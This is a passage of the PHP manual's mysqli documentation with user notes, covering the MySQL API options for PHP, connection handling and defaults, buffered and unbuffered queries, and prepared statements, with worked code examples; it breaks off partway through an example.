    • mysqli_get_metadata — Alias for mysqli_stmt_result_metadata
    • mysqli_master_query — Enforce execution of a query on the master in a master/slave setup
    • mysqli_param_count — Alias for mysqli_stmt_param_count
    • mysqli_report — Alias of of mysqli_driver->report_mode
    • mysqli_rpl_parse_enabled — Check if RPL parse is enabled
    • mysqli_rpl_probe — RPL probe
    • mysqli_send_long_data — Alias for mysqli_stmt_send_long_data
    • mysqli::set_opt — Alias of mysqli_options
    • mysqli_slave_query — Force execution of a query on a slave in a master/slave setup
  • Changelog

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The mysqli extension allows you to access the functionality provided by MySQL 4.1 and above. More information about the MySQL Database server can be found at » http://www.mysql.com/

An overview of software available for using MySQL from PHP can be found at Overview

Documentation for MySQL can be found at » http://dev.mysql.com/doc/.

Parts of this documentation included from MySQL manual with permissions of Oracle Corporation.

Examples

All examples in the mysqli documentation use the world database. The world database can be found at » http://downloads.mysql.com/docs/world.sql.gz

User Contributed Notes

There are no user contributed notes for this page.


Overview

This section provides an introduction to the options available to you when developing a PHP application that needs to interact with a MySQL database.

What is an API?

An Application Programming Interface, or API, defines the classes, methods, functions and variables that your application will need to call in order to carry out its desired task. In the case of PHP applications that need to communicate with databases the necessary APIs are usually exposed via PHP extensions.

APIs can be procedural or object-oriented. With a procedural API you call functions to carry out tasks, with the object-oriented API you instantiate classes and then call methods on the resulting objects. Of the two the latter is usually the preferred interface, as it is more modern and leads to better organized code.

When writing PHP applications that need to connect to the MySQL server there are several API options available. This document discusses what is available and how to select the best solution for your application.

What is a Connector?

In the MySQL documentation, the term connector refers to a piece of software that allows your application to connect to the MySQL database server. MySQL provides connectors for a variety of languages, including PHP.

If your PHP application needs to communicate with a database server you will need to write PHP code to perform such activities as connecting to the database server, querying the database and other database-related functions. Software is required to provide the API that your PHP application will use, and also handle the communication between your application and the database server, possibly using other intermediate libraries where necessary. This software is known generically as a connector, as it allows your application to connect to a database server.

What is a Driver?

A driver is a piece of software designed to communicate with a specific type of database server. The driver may also call a library, such as the MySQL Client Library or the MySQL Native Driver. These libraries implement the low-level protocol used to communicate with the MySQL database server.

By way of an example, the PHP Data Objects (PDO) database abstraction layer may use one of several database-specific drivers. One of the drivers it has available is the PDO MYSQL driver, which allows it to interface with the MySQL server.

Sometimes people use the terms connector and driver interchangeably, this can be confusing. In the MySQL-related documentation the term "driver" is reserved for software that provides the database-specific part of a connector package.

What is an Extension?

In the PHP documentation you will come across another term - extension. The PHP code consists of a core, with optional extensions to the core functionality. PHP's MySQL-related extensions, such as the mysqli extension, and the mysql extension, are implemented using the PHP extension framework.

An extension typically exposes an API to the PHP programmer, to allow its facilities to be used programmatically. However, some extensions which use the PHP extension framework do not expose an API to the PHP programmer.

The PDO MySQL driver extension, for example, does not expose an API to the PHP programmer, but provides an interface to the PDO layer above it.

The terms API and extension should not be taken to mean the same thing, as an extension may not necessarily expose an API to the programmer.

What are the main PHP API offerings for using MySQL?

There are three main API options when considering connecting to a MySQL database server:

  • PHP's MySQL Extension

  • PHP's mysqli Extension

  • PHP Data Objects (PDO)

Each has its own advantages and disadvantages. The following discussion aims to give a brief introduction to the key aspects of each API.

What is PHP's MySQL Extension?

This is the original extension designed to allow you to develop PHP applications that interact with a MySQL database. The mysql extension provides a procedural interface and is intended for use only with MySQL versions older than 4.1.3. This extension can be used with versions of MySQL 4.1.3 or newer, but not all of the latest MySQL server features will be available.

Note:

If you are using MySQL versions 4.1.3 or later it is strongly recommended that you use the mysqli extension instead.

The mysql extension source code is located in the PHP extension directory ext/mysql.

For further information on the mysql extension, see Mysql.

What is PHP's mysqli Extension?

The mysqli extension, or as it is sometimes known, the MySQL improved extension, was developed to take advantage of new features found in MySQL systems versions 4.1.3 and newer. The mysqli extension is included with PHP versions 5 and later.

The mysqli extension has a number of benefits, the key enhancements over the mysql extension being:

  • Object-oriented interface

  • Support for Prepared Statements

  • Support for Multiple Statements

  • Support for Transactions

  • Enhanced debugging capabilities

  • Embedded server support

Note:

If you are using MySQL versions 4.1.3 or later it is strongly recommended that you use this extension.

As well as the object-oriented interface the extension also provides a procedural interface.

The mysqli extension is built using the PHP extension framework, its source code is located in the directory ext/mysqli.

For further information on the mysqli extension, see Mysqli.

What is PDO?

PHP Data Objects, or PDO, is a database abstraction layer specifically for PHP applications. PDO provides a consistent API for your PHP application regardless of the type of database server your application will connect to. In theory, if you are using the PDO API, you could switch the database server you used, from say Firebird to MySQL, and only need to make minor changes to your PHP code.

Other examples of database abstraction layers include JDBC for Java applications and DBI for Perl.

While PDO has its advantages, such as a clean, simple, portable API, its main disadvantage is that it doesn't allow you to use all of the advanced features that are available in the latest versions of MySQL server. For example, PDO does not allow you to use MySQL's support for Multiple Statements.

PDO is implemented using the PHP extension framework, its source code is located in the directory ext/pdo.

For further information on PDO, see the PDO.

What is the PDO MYSQL driver?

The PDO MYSQL driver is not an API as such, at least from the PHP programmer's perspective. In fact the PDO MYSQL driver sits in the layer below PDO itself and provides MySQL-specific functionality. The programmer still calls the PDO API, but PDO uses the PDO MYSQL driver to carry out communication with the MySQL server.

The PDO MYSQL driver is one of several available PDO drivers. Other PDO drivers available include those for the Firebird and PostgreSQL database servers.

The PDO MYSQL driver is implemented using the PHP extension framework. Its source code is located in the directory ext/pdo_mysql. It does not expose an API to the PHP programmer.

For further information on the PDO MYSQL driver, see MySQL (PDO).

What is PHP's MySQL Native Driver?

In order to communicate with the MySQL database server the mysql extension, mysqli and the PDO MYSQL driver each use a low-level library that implements the required protocol. In the past, the only available library was the MySQL Client Library, otherwise known as libmysqlclient.

However, the interface presented by libmysqlclient was not optimized for communication with PHP applications, as libmysqlclient was originally designed with C applications in mind. For this reason the MySQL Native Driver, mysqlnd, was developed as an alternative to libmysqlclient for PHP applications.

The mysql extension, the mysqli extension and the PDO MySQL driver can each be individually configured to use either libmysqlclient or mysqlnd. As mysqlnd is designed specifically to be utilised in the PHP system it has numerous memory and speed enhancements over libmysqlclient. You are strongly encouraged to take advantage of these improvements.

Note:

The MySQL Native Driver can only be used with MySQL server versions 4.1.3 and later.

The MySQL Native Driver is implemented using the PHP extension framework. The source code is located in ext/mysqlnd. It does not expose an API to the PHP programmer.

Comparison of Features

The following table compares the functionality of the three main methods of connecting to MySQL from PHP:

Comparison of MySQL API options for PHP
 | PHP's mysqli Extension | PDO (Using PDO MySQL Driver and MySQL Native Driver) | PHP's MySQL Extension
PHP version introduced | 5.0 | 5.0 | Prior to 3.0
Included with PHP 5.x | yes | yes | Yes
MySQL development status | Active development | Active development as of PHP 5.3 | Maintenance only
Recommended by MySQL for new projects | Yes - preferred option | Yes | No
API supports Charsets | Yes | Yes | No
API supports server-side Prepared Statements | Yes | Yes | No
API supports client-side Prepared Statements | No | Yes | No
API supports Stored Procedures | Yes | Yes | No
API supports Multiple Statements | Yes | Most | No
Supports all MySQL 4.1+ functionality | Yes | Most | No

User Contributed Notes

php-includer at gmail dot com 25-Sep-2014 01:30
mysqli can be great in some circumstances but much work has been put into PHP Portable Data Objects (PDO) which you should also consider when choosing a way to connect to your database using php. For example, PDO supports MySQL with minimal performance hit and the code your write for it will support many other databases with little or no changes. That said, the database connection code, even if you have to change a lot of it to use another database will be much less work than coding your actual database data entry and report apps. When I started creating PHP/MySQL apps years ago, I used php's native support for PHP then moved to PEAR:DB and MDB/MDB2 and finally to wizzyweb which is basically like "phpMyAdmin for Apps" to create apps as it automatically generates the PHP PDO connection code and the application code. Sure, I could code it all from scratch but I save about 90% of the time it used to take. The point is look at the total amount of time you will save by using native code vs. an abstraction layer. Most people find that programmer time is the most valuable part of the equation so anything than can save programmer time should be heavily weighted.
AvenidaGez 21-Jul-2014 10:31
Even when not usually written, a Driver is a Device Driver. Something physical, hardware, needs a Driver, and in computer terms is the code or program needed by the device to work properly.
An API (Application program interface), is the part of exposed code of a program so you can communicate with it, you could say is like the buttons of a blender, the steering wheel of a car, if there is no interface there is no way to communicate.
MySQL is software, not hardware, not a device, so it is a Driver in itself that makes a computer work as a database (an specific Application), so MySQL has an API too, but it does not need nor uses a Driver since it is the Driver.
Sometimes you have a Driver, with its API, but you can not communicate with it, with what you have, so the language needs to be extended, in this case, the capabilities of the language you are using, in order for it to be able to communicate with the API of the Driver (in this case MySQL Driver), so that is called and Extension (of the language you are using), and it is not and API, neither a Driver, is just that, and Extension. Then why it is called API (application program interface) and not DPI (device program interface), well, that is because a Device might have different Applications, (read it as different uses) for example an USB device, might be used as storage device, as audio CD, as DVD movie, etc. so the interface is oriented to the application of the device and not to the device itself.
guatebus at dot gmail dot com 13-Oct-2013 09:00
The text: "PDO does not allow you to use MySQL's support for Multiple Statements" is outdated.

Since v5.3, PHP intoduced multiple statement support into PDO (by PDO_MYSQLND driver replacing the previous PDO_MYSQL).


Quick start guide

Table of Contents

  • Dual procedural and object-oriented interface
  • Connections
  • Executing statements
  • Prepared Statements
  • Stored Procedures
  • Multiple Statements
  • API support for transactions
  • Metadata

This quick start guide will help with choosing and gaining familiarity with the PHP MySQL API.

This quick start gives an overview on the mysqli extension. Code examples are provided for all major aspects of the API. Database concepts are explained to the degree needed for presenting concepts specific to MySQL.

Required: A familiarity with the PHP programming language, the SQL language, and basic knowledge of the MySQL server.

User Contributed Notes

There are no user contributed notes for this page.


Dual procedural and object-oriented interface

The mysqli extension features a dual interface. It supports the procedural and object-oriented programming paradigm.

Users migrating from the old mysql extension may prefer the procedural interface. The procedural interface is similar to that of the old mysql extension. In many cases, the function names differ only by prefix. Some mysqli functions take a connection handle as their first argument, whereas matching functions in the old mysql interface take it as an optional last argument.

Example #1 Easy migration from the old mysql extension

<?php
$mysqli = mysqli_connect("example.com", "user", "password", "database");
$res = mysqli_query($mysqli, "SELECT 'Please, do not use ' AS _msg FROM DUAL");
$row = mysqli_fetch_assoc($res);
echo $row['_msg'];

$mysql = mysql_connect("example.com", "user", "password");
mysql_select_db("test");
$res = mysql_query("SELECT 'the mysql extension for new developments.' AS _msg FROM DUAL", $mysql);
$row = mysql_fetch_assoc($res);
echo $row['_msg'];
?>

The above example will output:

Please, do not use the mysql extension for new developments.

The object-oriented interface

In addition to the classical procedural interface, users can choose to use the object-oriented interface. The documentation is organized using the object-oriented interface. The object-oriented interface shows functions grouped by their purpose, making it easier to get started. The reference section gives examples for both syntax variants.

There are no significant performance differences between the two interfaces. Users can base their choice on personal preference.

Example #2 Object-oriented and procedural interface

<?php
$mysqli = mysqli_connect("example.com", "user", "password", "database");
if (mysqli_connect_errno($mysqli)) {
    echo "Failed to connect to MySQL: " . mysqli_connect_error();
}

$res = mysqli_query($mysqli, "SELECT 'A world full of ' AS _msg FROM DUAL");
$row = mysqli_fetch_assoc($res);
echo $row['_msg'];

$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: " . $mysqli->connect_error;
}

$res = $mysqli->query("SELECT 'choices to please everybody.' AS _msg FROM DUAL");
$row = $res->fetch_assoc();
echo $row['_msg'];
?>

The above example will output:

A world full of choices to please everybody.

The object oriented interface is used for the quickstart because the reference section is organized that way.

Mixing styles

It is possible to switch between styles at any time. Mixing both styles is not recommended for code clarity and coding style reasons.

Example #3 Bad coding style

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: " . $mysqli->connect_error;
}

$res = mysqli_query($mysqli, "SELECT 'Possible but bad style.' AS _msg FROM DUAL");
if (!$res) {
    echo "Failed to run query: (" . $mysqli->errno . ") " . $mysqli->error;
}

if ($row = $res->fetch_assoc()) {
    echo $row['_msg'];
}
?>

The above example will output:

Possible but bad style.

See also

  • mysqli::__construct()
  • mysqli::query()
  • mysqli_result::fetch_assoc()
  • $mysqli::connect_errno
  • $mysqli::connect_error
  • $mysqli::errno
  • $mysqli::error
  • The MySQLi Extension Function Summary

User Contributed Notes

Anonymous 10-Jul-2013 02:26
After significant searching with no success finding a solution I was able to figure out the following to error 2005 where the connection could not find the host. While I am hosted on 1&1 I saw numerous posts with similar problems.

The solution turned out to be as follows:

<?php

$mysqli = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME, DB_PORT, DB_UNIX_SOCKET);

I added the DB_PORT and DB_UNIX_SOCKET

/** name of the database. please note: database and database table are not the same thing! */
define("DB_NAME", "YOUR DB NAME");

/** user for your database. the user needs to have rights for SELECT, UPDATE, DELETE and INSERT.
/** By the way, it's bad style to use "root", but for development it will work */
define("DB_USER", "YOUR DB USER");

/** The password of the above user */
define("DB_PASS", "YOUR DB PWORD");

/** The unix socket for 1&1 dedicated */
define("DB_UNIX_SOCKET", "/tmp/mysql5.sock");

/** The db port, replace with yours */
define("DB_PORT", 3306);
?>


Connections

The MySQL server supports the use of different transport layers for connections. Connections use TCP/IP, Unix domain sockets or Windows named pipes.

The hostname localhost has a special meaning. It is bound to the use of Unix domain sockets. It is not possible to open a TCP/IP connection using the hostname localhost you must use 127.0.0.1 instead.

Example #1 Special meaning of localhost

<?php
$mysqli = new mysqli("localhost", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}
echo $mysqli->host_info . "\n";

$mysqli = new mysqli("127.0.0.1", "user", "password", "database", 3306);
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

echo $mysqli->host_info . "\n";
?>

The above example will output:

Localhost via UNIX socket
127.0.0.1 via TCP/IP

Connection parameter defaults

Depending on the connection function used, assorted parameters can be omitted. If a parameter is not provided, then the extension attempts to use the default values that are set in the PHP configuration file.

Example #2 Setting defaults

mysqli.default_host=192.168.2.27
mysqli.default_user=root
mysqli.default_pw=""
mysqli.default_port=3306
mysqli.default_socket=/tmp/mysql.sock

The resulting parameter values are then passed to the client library that is used by the extension. If the client library detects empty or unset parameters, then it may default to the library built-in values.

Built-in connection library defaults

If the host value is unset or empty, then the client library will default to a Unix socket connection on localhost. If socket is unset or empty, and a Unix socket connection is requested, then a connection to the default socket on /tmp/mysql.sock is attempted.

On Windows systems, the host name . is interpreted by the client library as an attempt to open a Windows named pipe based connection. In this case the socket parameter is interpreted as the pipe name. If not given or empty, then the socket (pipe name) defaults to \\.\pipe\MySQL.

If neither a Unix domain socket based not a Windows named pipe based connection is to be established and the port parameter value is unset, the library will default to port 3306.

The mysqlnd library and the MySQL Client Library (libmysqlclient) implement the same logic for determining defaults.

Connection options

Connection options are available to, for example, set init commands which are executed upon connect, or for requesting use of a certain charset. Connection options must be set before a network connection is established.

For setting a connection option, the connect operation has to be
performed in three steps: creating a connection handle with
mysqli_init(), setting the requested options using
mysqli_options(), and establishing the network
connection with mysqli_real_connect().

Connection pooling

The mysqli extension supports persistent database connections, which are a special kind of pooled connections. By default, every database connection opened by a script is either explicitly closed by the user during runtime or released automatically at the end of the script. A persistent connection is not. Instead it is put into a pool for later reuse, if a connection to the same server using the same username, password, socket, port and default database is opened. Reuse saves connection overhead.

Every PHP process is using its own mysqli connection pool. Depending on the web server deployment model, a PHP process may serve one or multiple requests. Therefore, a pooled connection may be used by one or more scripts subsequently.

Persistent connection

If a unused persistent connection for a given combination of host, username, password, socket, port and default database can not be found in the connection pool, then mysqli opens a new connection. The use of persistent connections can be enabled and disabled using the PHP directive mysqli.allow_persistent. The total number of connections opened by a script can be limited with mysqli.max_links. The maximum number of persistent connections per PHP process can be restricted with mysqli.max_persistent. Please note, that the web server may spawn many PHP processes.

A common complain about persistent connections is that their state is not reset before reuse. For example, open and unfinished transactions are not automatically rolled back. But also, authorization changes which happened in the time between putting the connection into the pool and reusing it are not reflected. This may be seen as an unwanted side-effect. On the contrary, the name persistent may be understood as a promise that the state is persisted.

The mysqli extension supports both interpretations of a persistent connection: state persisted, and state reset before reuse. The default is reset. Before a persistent connection is reused, the mysqli extension implicitly calls mysqli_change_user() to reset the state. The persistent connection appears to the user as if it was just opened. No artifacts from previous usages are visible.

The mysqli_change_user() function is an expensive operation. For best performance, users may want to recompile the extension with the compile flag MYSQLI_NO_CHANGE_USER_ON_PCONNECT being set.

It is left to the user to choose between safe behavior and best performance. Both are valid optimization goals. For ease of use, the safe behavior has been made the default at the expense of maximum performance.

See also

  • mysqli::__construct()
  • mysqli::init()
  • mysqli::options()
  • mysqli::real_connect()
  • mysqli::change_user()
  • $mysqli::host_info
  • MySQLi Configuration Options
  • Persistent Database Connections

User Contributed Notes

There are no user contributed notes for this page.


Executing statements

Statements can be executed with the
mysqli_query(), mysqli_real_query()
and mysqli_multi_query() functions.
The mysqli_query() function is the most
common, and combines the executing statement with a
buffered fetch of its result set, if any, in one call.
Calling mysqli_query() is identical to
calling mysqli_real_query()
followed by mysqli_store_result().

Example #1 Connecting to MySQL

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}
?>

Buffered result sets

After statement execution results can be retrieved at once to be buffered by the client or by read row by row. Client-side result set buffering allows the server to free resources associated with the statement results as early as possible. Generally speaking, clients are slow consuming result sets. Therefore, it is recommended to use buffered result sets. mysqli_query() combines statement execution and result set buffering.

PHP applications can navigate freely through buffered results. Navigation is fast because the result sets are held in client memory. Please, keep in mind that it is often easier to scale by client than it is to scale the server.

Example #2 Navigation through buffered results

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$res = $mysqli->query("SELECT id FROM test ORDER BY id ASC");

echo "Reverse order...\n";
for ($row_no = $res->num_rows - 1; $row_no >= 0; $row_no--) {
    $res->data_seek($row_no);
    $row = $res->fetch_assoc();
    echo " id = " . $row['id'] . "\n";
}

echo "Result set order...\n";
$res->data_seek(0);
while ($row = $res->fetch_assoc()) {
    echo " id = " . $row['id'] . "\n";
}
?>

The above example will output:

Reverse order...
 id = 3
 id = 2
 id = 1
Result set order...
 id = 1
 id = 2
 id = 3

Unbuffered result sets

If client memory is a short resource and freeing server resources as early as possible to keep server load low is not needed, unbuffered results can be used. Scrolling through unbuffered results is not possible before all rows have been read.

Example #3 Navigation through unbuffered results

<?php
$mysqli->real_query("SELECT id FROM test ORDER BY id ASC");
$res = $mysqli->use_result();

echo "Result set order...\n";
while ($row = $res->fetch_assoc()) {
    echo " id = " . $row['id'] . "\n";
}
?>

Result set values data types

The mysqli_query(), mysqli_real_query() and mysqli_multi_query() functions are used to execute non-prepared statements. At the level of the MySQL Client Server Protocol, the command COM_QUERY and the text protocol are used for statement execution. With the text protocol, the MySQL server converts all data of a result sets into strings before sending. This conversion is done regardless of the SQL result set column data type. The mysql client libraries receive all column values as strings. No further client-side casting is done to convert columns back to their native types. Instead, all values are provided as PHP strings.

Example #4 Text protocol returns strings by default

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$res = $mysqli->query("SELECT id, label FROM test WHERE id = 1");
$row = $res->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));
?>

The above example will output:

id = 1 (string)
label = a (string)

It is possible to convert integer and float columns back to PHP numbers by setting the MYSQLI_OPT_INT_AND_FLOAT_NATIVE connection option, if using the mysqlnd library. If set, the mysqlnd library will check the result set meta data column types and convert numeric SQL columns to PHP numbers, if the PHP data type value range allows for it. This way, for example, SQL INT columns are returned as integers.

Example #5 Native data types with mysqlnd and connection option

<?php
$mysqli = mysqli_init();
$mysqli->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);
$mysqli->real_connect("example.com", "user", "password", "database");

if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$res = $mysqli->query("SELECT id, label FROM test WHERE id = 1");
$row = $res->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));
?>

The above example will output:

id = 1 (integer)
label = a (string)

See also

  • mysqli::__construct()
  • mysqli::init()
  • mysqli::options()
  • mysqli::real_connect()
  • mysqli::query()
  • mysqli::multi_query()
  • mysqli::use_result()
  • mysqli::store_result()
  • mysqli_result::free()

User Contributed Notes

developer at 4seasonsconsulting dot com 06-Apr-2013 01:58
When accessing columns of type ENUM or SET, your results may not always come back as expected. Given:

SQL:
CREATE TABLE `items` (
  `item_key` char(4) NOT NULL DEFAULT 'xxxx',
  `item_id` smallint(5) unsigned NOT NULL,
  `item_media` enum('pdf','tape','cd','dvd','mp3','mp4')  NOT NULL DEFAULT 'mp3',
  `item_file` varchar(40) DEFAULT NULL,
  PRIMARY KEY (`item_key`,`item_id`,`item_media`)
) ENGINE=MyISAM;

INSERT INTO `items` (`item_key`, `item_id`, `item_media`) VALUES
('A1B2', 1, 'mp3'),
('A1B2', 2, 'mp4'),
('A1B2', 3, 'pdf'),
('A1B2', 4, 'dvd'),
('A1B2', 5, 'mp3');

<?php
...
$result = mysql_query("SELECT `item_id`, `item_media`+0 FROM `items`
WHERE `item_key`='A1B2' ORDER BY `item_media`";
while ($row = mysql_fetch_array($result) )
 echo 'id=' . $row[0] . ', media=' . $row[1] . "\r\n";
...
?>

When just the query is run in phpMyAdmin,
you most likely will get:

id=3, media=1
id=4, media=4
id=1, media=5
id=5, media=5
id=2, media=6

but php will give you:

id=1, media=0
id=2, media=0
id=3, media=0
id=4, media=0
id=5, media=0

This is because the translation of <enum or set>+0
is evaluated as a string (converted to zero)+0,

This does need further research for a fix.


Prepared Statements

The MySQL database supports prepared statements. A prepared statement or a parameterized statement is used to execute the same statement repeatedly with high efficiency.

Basic workflow

The prepared statement execution consists of two stages: prepare and execute. At the prepare stage a statement template is sent to the database server. The server performs a syntax check and initializes server internal resources for later use.

The MySQL server supports using anonymous, positional placeholder with ?.

Example #1 First stage: prepare

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

/* Non-prepared statement */
if (!$mysqli->query("DROP TABLE IF EXISTS test") || !$mysqli->query("CREATE TABLE test(id INT)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

/* Prepared statement, stage 1: prepare */
if (!($stmt = $mysqli->prepare("INSERT INTO test(id) VALUES (?)"))) {
    echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}
?>

Prepare is followed by execute. During execute the client binds parameter values and sends them to the server. The server creates a statement from the statement template and the bound values to execute it using the previously created internal resources.

Example #2 Second stage: bind and execute

<?php
/* Prepared statement, stage 2: bind and execute */
$id = 1;
if (!$stmt->bind_param("i", $id)) {
    echo "Binding parameters failed: (" . $stmt->errno . ") " . $stmt->error;
}

if (!$stmt->execute()) {
    echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
}
?>

Repeated execution

A prepared statement can be executed repeatedly. Upon every execution the current value of the bound variable is evaluated and sent to the server. The statement is not parsed again. The statement template is not transferred to the server again.

Example #3 INSERT prepared once, executed multiple times

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

/* Non-prepared statement */
if (!$mysqli->query("DROP TABLE IF EXISTS test") || !$mysqli->query("CREATE TABLE test(id INT)")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

/* Prepared statement, stage 1: prepare */
if (!($stmt = $mysqli->prepare("INSERT INTO test(id) VALUES (?)"))) {
     echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

/* Prepared statement, stage 2: bind and execute */
$id = 1;
if (!$stmt->bind_param("i", $id)) {
    echo "Binding parameters failed: (" . $stmt->errno . ") " . $stmt->error;
}

if (!$stmt->execute()) {
    echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
}

/* Prepared statement: repeated execution, only data transferred from client to server */
for ($id = 2; $id < 5; $id++) {
    if (!$stmt->execute()) {
        echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
    }
}

/* explicit close recommended */
$stmt->close();

/* Non-prepared statement */
$res = $mysqli->query("SELECT id FROM test");
var_dump($res->fetch_all());
?>

The above example will output:

array(4) {
  [0]=>
  array(1) {
    [0]=>
    string(1) "1"
  }
  [1]=>
  array(1) {
    [0]=>
    string(1) "2"
  }
  [2]=>
  array(1) {
    [0]=>
    string(1) "3"
  }
  [3]=>
  array(1) {
    [0]=>
    string(1) "4"
  }
}

Every prepared statement occupies server resources. Statements should be closed explicitly immediately after use. If not done explicitly, the statement will be closed when the statement handle is freed by PHP.

Using a prepared statement is not always the most efficient way of executing a statement. A prepared statement executed only once causes more client-server round-trips than a non-prepared statement. This is why the SELECT is not run as a prepared statement above.

Also, consider the use of the MySQL multi-INSERT SQL syntax for INSERTs. For the example, multi-INSERT requires less round-trips between the server and client than the prepared statement shown above.

Example #4 Less round trips using multi-INSERT SQL

<?php
if (!$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3), (4)")) {
    echo "Multi-INSERT failed: (" . $mysqli->errno . ") " . $mysqli->error;
}
?>

Result set values data types

The MySQL Client Server Protocol defines a different data transfer protocol for prepared statements and non-prepared statements. Prepared statements are using the so called binary protocol. The MySQL server sends result set data "as is" in binary format. Results are not serialized into strings before sending. The client libraries do not receive strings only. Instead, they will receive binary data and try to convert the values into appropriate PHP data types. For example, results from an SQL INT column will be provided as PHP integer variables.

Example #5 Native datatypes

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$stmt = $mysqli->prepare("SELECT id, label FROM test WHERE id = 1");
$stmt->execute();
$res = $stmt->get_result();
$row = $res->fetch_assoc();

printf("id = %s (%s)\n", $row['id'], gettype($row['id']));
printf("label = %s (%s)\n", $row['label'], gettype($row['label']));
?>

The above example will output:

id = 1 (integer)
label = a (string)

This behavior differs from non-prepared statements. By default, non-prepared statements return all results as strings. This default can be changed using a connection option. If the connection option is used, there are no differences.

Fetching results using bound variables

Results from prepared statements can either be retrieved by binding output variables, or by requesting a mysqli_result object.

Output variables must be bound after statement execution. One variable must be bound for every column of the statements result set.

Example #6 Output variable binding

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT, label CHAR(1))") ||
    !$mysqli->query("INSERT INTO test(id, label) VALUES (1, 'a')")) {
    echo "Table creation failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!($stmt = $mysqli->prepare("SELECT id, label FROM test"))) {
    echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

if (!$stmt->execute()) {
    echo "Execute failed: (" . $mysqli->errno . ") " . $mysqli->error;
}

$out_id    = NULL;
$out_label = NULL;
if (!$stmt->bind_result($out_id, $out_label)) {
    echo "Binding output parameters failed: (" . $stmt->errno . ") " . $stmt->error;
}

while ($stmt->fetch()) {
    printf("id = %s (%s), label = %s (%s)\n", $out_id, gettype($out_id), $out_label, gettype($out_label));
}
?>

The above example will output:

id = 1 (integer), label = a (string)

Prepared statements return unbuffered result sets by default. The results of the statement are not implicitly fetched and transferred from the server to the client for client-side buffering. The result set takes server resources until all results have been fetched by the client. Thus it is recommended to consume results timely. If a client fails to fetch all results or the client closes the statement before having fetched all data, the data has to be fetched implicitly by mysqli.

It is also possible to buffer the results of a prepared statement using mysqli_stmt_store_result().

Fetching results using mysqli_result interface

Instead of using bound results, results can also be retrieved through the mysqli_result interface. mysqli_stmt_get_result() returns a buffered result set.

Example #7 Using mysqli_result to fetch results

<?php
$mysqli = new mysqli("example.com", "user", "password", "database");
if ($mysqli->connect_errno) {
    echo "Failed to connect to MySQL: (" . $mysqli->connect_errno . ") " . $mysqli->connect_error;
}

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
